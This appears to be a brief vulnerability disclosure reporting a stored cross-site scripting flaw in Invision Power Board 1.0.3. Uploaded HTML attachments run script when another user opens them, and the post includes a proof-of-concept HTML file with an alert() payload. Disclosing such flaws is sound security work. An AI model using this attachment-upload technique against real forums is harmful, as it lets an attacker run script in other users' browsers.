the css found when you uploading a file to the server by the "atteched file"
function..
in ipb you can upload some HTML file,in the html file write this:
<html>
<body>
<script>alert('Css found By V[i]RuS');</script>
</body>
</html>
when someone will click on the attechment file the script will run.
sry about my poor english..
bug discoverd V[i]RuS
tested succesfully on ipb 1.0.3 all the vers should be vuln =]